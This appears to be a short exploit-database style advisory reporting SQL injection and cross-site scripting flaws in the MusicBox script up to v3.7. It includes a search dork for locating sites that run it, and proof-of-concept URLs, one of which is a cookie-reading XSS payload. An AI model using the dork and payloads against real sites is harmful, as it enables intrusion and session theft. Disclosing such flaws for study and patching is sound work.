30 lines
No EOL
700 B
Text
30 lines
No EOL
700 B
Text
============================================================
|
|
MusicBox <= v3.7 Multiple Vulnerabilities
|
|
============================================================
|
|
|
|
|
|
[~] Author : R@1D3N (amin emami)
|
|
|
|
[~] Software Link : www.musicboxv2.com
|
|
|
|
[~] Price : $275
|
|
|
|
[~] Version : v3.7 and previous versions
|
|
|
|
[~] Contact : aminrayden@yahoo.com <~
|
|
|
|
[~] DorK : inurl:genre_artists.php
|
|
|
|
[~] Forum : http://ashiyane.org/forums/
|
|
|
|
[~] Greetz :ItSecTeam, Inj3ct0r, Exploit-db
|
|
|
|
[~] Tested on: Windows XP Sp3
|
|
|
|
vul1.sql injection:
|
|
|
|
/[Path]/index.php?action=top&type=Songs&show=10'[ SQL ATTACK]
|
|
|
|
Vul2.Cross site Scripting:
|
|
|
|
/[path]/index.php?in=song&term="><script>alert(document.cookie)<%2Fscript>&action=search&start=0 |